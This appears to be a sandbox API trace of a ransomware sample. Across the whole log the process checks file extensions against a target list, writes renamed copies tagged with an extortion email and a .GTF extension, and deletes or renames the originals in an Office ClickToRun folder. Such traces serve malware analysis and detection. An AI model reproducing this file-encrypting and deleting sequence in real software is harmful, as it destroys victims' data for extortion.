	[0084.989] lstrlenW (lpString=".xls") returned 4
	[0084.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString=".xlsx") returned 5
	[0084.989] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.990] lstrlenW (lpString=".ppt") returned 4
	[0084.990] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.990] lstrlenW (lpString=".zip") returned 4
	[0084.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString=".rar") returned 4
	[0084.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString=".bz2") returned 4
	[0084.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.990] lstrlenW (lpString=".7z") returned 3
	[0084.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.990] lstrlenW (lpString=".dbf") returned 4
	[0084.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.990] lstrlenW (lpString=".1cd") returned 4
	[0084.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.990] lstrlenW (lpString=".jpg") returned 4
	[0084.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.990] lstrlenW (lpString=".doc") returned 4
	[0084.990] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString=".docx") returned 5
	[0084.990] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.990] lstrlenW (lpString=".pdf") returned 4
	[0084.990] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString=".xls") returned 4
	[0084.990] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString=".xlsx") returned 5
	[0084.990] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.990] lstrlenW (lpString=".ppt") returned 4
	[0084.990] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.991] lstrlenW (lpString=".zip") returned 4
	[0084.991] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.991] lstrlenW (lpString=".rar") returned 4
	[0084.991] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.991] lstrlenW (lpString=".bz2") returned 4
	[0084.991] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.991] lstrlenW (lpString=".7z") returned 3
	[0084.991] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.991] lstrlenW (lpString=".dbf") returned 4
	[0084.991] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.991] lstrlenW (lpString=".1cd") returned 4
	[0084.991] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.991] lstrlenW (lpString=".jpg") returned 4
	[0084.991] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.991] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.991] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32
	[0084.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0084.991] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=19136) returned 1
	[0084.991] CloseHandle (hObject=0x340) returned 1
	[0084.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20
	[0084.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0084.992] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.992] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.992] GetLastError () returned 0x0
	[0084.992] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.994] WriteFile (in: hFile=0x384, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.995] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.995] WriteFile (in: hFile=0x384, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x114, lpOverlapped=0x0) returned 1
	[0084.995] SetEndOfFile (hFile=0x384) returned 1
	[0084.995] CloseHandle (hObject=0x384) returned 1
	[0084.996] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.996] SetEndOfFile (hFile=0x340) returned 1
	[0084.997] CloseHandle (hObject=0x340) returned 1
	[0084.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.998] lstrlenW (lpString=".doc") returned 4
	[0084.998] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString=".docx") returned 5
	[0084.998] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.998] lstrlenW (lpString=".pdf") returned 4
	[0084.998] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString=".xls") returned 4
	[0084.998] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString=".xlsx") returned 5
	[0084.998] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.998] lstrlenW (lpString=".ppt") returned 4
	[0084.998] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.998] lstrlenW (lpString=".zip") returned 4
	[0084.998] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString=".rar") returned 4
	[0084.998] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString=".bz2") returned 4
	[0084.998] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.998] lstrlenW (lpString=".7z") returned 3
	[0084.998] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.998] lstrlenW (lpString=".dbf") returned 4
	[0084.999] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.999] lstrlenW (lpString=".1cd") returned 4
	[0084.999] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.999] lstrlenW (lpString=".jpg") returned 4
	[0084.999] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.999] lstrlenW (lpString=".doc") returned 4
	[0084.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString=".docx") returned 5
	[0084.999] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.999] lstrlenW (lpString=".pdf") returned 4
	[0084.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString=".xls") returned 4
	[0084.999] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString=".xlsx") returned 5
	[0084.999] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.999] lstrlenW (lpString=".ppt") returned 4
	[0084.999] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.999] lstrlenW (lpString=".zip") returned 4
	[0084.999] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString=".rar") returned 4
	[0084.999] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString=".bz2") returned 4
	[0084.999] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.999] lstrlenW (lpString=".7z") returned 3
	[0084.999] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.999] lstrlenW (lpString=".dbf") returned 4
	[0084.999] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.999] lstrlenW (lpString=".1cd") returned 4
	[0084.999] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0085.000] lstrlenW (lpString=".jpg") returned 4
	[0085.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.000] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.000] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30
	[0085.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0085.001] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=27840) returned 1
	[0085.001] CloseHandle (hObject=0x340) returned 1
	[0085.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20
	[0085.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0085.001] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.001] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0085.001] GetLastError () returned 0x0
	[0085.001] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x6cc0, lpOverlapped=0x0) returned 1
	[0085.003] WriteFile (in: hFile=0x384, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x6cd0, lpOverlapped=0x0) returned 1
	[0085.410] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.410] WriteFile (in: hFile=0x384, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x110, lpOverlapped=0x0) returned 1
	[0085.410] SetEndOfFile (hFile=0x384) returned 1
	[0085.882] CloseHandle (hObject=0x384) returned 1
	[0085.882] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.882] SetEndOfFile (hFile=0x340) returned 1
	[0085.914] CloseHandle (hObject=0x340) returned 1
	[0085.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1
	[0085.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.915] lstrlenW (lpString=".doc") returned 4
	[0085.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.915] lstrlenW (lpString=".docx") returned 5
	[0085.915] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.915] lstrlenW (lpString=".pdf") returned 4
	[0085.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.915] lstrlenW (lpString=".xls") returned 4
	[0085.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.915] lstrlenW (lpString=".xlsx") returned 5
	[0085.915] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.915] lstrlenW (lpString=".ppt") returned 4
	[0085.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.915] lstrlenW (lpString=".zip") returned 4
	[0085.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.915] lstrlenW (lpString=".rar") returned 4
	[0085.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.915] lstrlenW (lpString=".bz2") returned 4
	[0085.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.915] lstrlenW (lpString=".7z") returned 3
	[0085.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.915] lstrlenW (lpString=".dbf") returned 4
	[0085.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.915] lstrlenW (lpString=".1cd") returned 4
	[0085.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.916] lstrlenW (lpString=".jpg") returned 4
	[0085.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.916] lstrlenW (lpString=".doc") returned 4
	[0085.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.916] lstrlenW (lpString=".docx") returned 5
	[0085.916] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.916] lstrlenW (lpString=".pdf") returned 4
	[0085.916] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.916] lstrlenW (lpString=".xls") returned 4
	[0085.916] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.916] lstrlenW (lpString=".xlsx") returned 5
	[0085.916] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.916] lstrlenW (lpString=".ppt") returned 4
	[0085.916] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.916] lstrlenW (lpString=".zip") returned 4
	[0085.916] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.916] lstrlenW (lpString=".rar") returned 4
	[0085.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.916] lstrlenW (lpString=".bz2") returned 4
	[0085.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.916] lstrlenW (lpString=".7z") returned 3
	[0085.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.916] lstrlenW (lpString=".dbf") returned 4
	[0085.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.916] lstrlenW (lpString=".1cd") returned 4
	[0085.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0085.916] lstrlenW (lpString=".jpg") returned 4
	[0085.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.917] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.917] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23
	[0085.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0085.917] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2285736) returned 1
	[0085.917] CloseHandle (hObject=0x340) returned 1
	[0085.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20
	[0085.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0085.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0085.918] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0x0) returned 1
	[0085.918] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.918] ReadFile (in: hFile=0x340, lpBuffer=0x3b30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b30058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.921] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.922] ReadFile (in: hFile=0x340, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.937] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.938] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.938] ReadFile (in: hFile=0x340, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.960] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
